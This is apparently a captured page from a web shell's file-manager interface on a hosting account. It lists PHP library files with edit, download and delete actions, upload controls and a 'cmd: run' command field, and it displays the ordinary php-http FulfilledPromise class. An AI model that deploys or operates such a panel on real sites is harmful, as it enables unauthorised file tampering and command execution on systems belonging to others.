/
home
/
techb158
/
ileadtechnology.com
/
SSM
/
vendor
/
php-http
/
promise
/
src
/
/home/techb158/ileadtechnology.com/SSM/vendor/php-http/promise/src
mkdir
upload
Name
Size
Mode
Actions
FulfilledPromise.php
994
0644
edit
dl
rm
Promise.php
2227
0644
edit
dl
rm
RejectedPromise.php
1029
0644
edit
dl
rm
Edit:
/home/techb158/ileadtechnology.com/SSM/vendor/php-http/promise/src/FulfilledPromise.php
(994B)
<?php namespace Http\Promise; /** * A promise already fulfilled. * * @author Joel Wurtz <joel.wurtz@gmail.com> */ final class FulfilledPromise implements Promise { /** * @var mixed */ private $result; /** * @param $result */ public function __construct($result) { $this->result = $result; } /** * {@inheritdoc} */ public function then(callable $onFulfilled = null, callable $onRejected = null) { if (null === $onFulfilled) { return $this; } try { return new self($onFulfilled($this->result)); } catch (\Exception $e) { return new RejectedPromise($e); } } /** * {@inheritdoc} */ public function getState() { return Promise::FULFILLED; } /** * {@inheritdoc} */ public function wait($unwrap = true) { if ($unwrap) { return $this->result; } } }
Save
cmd:
run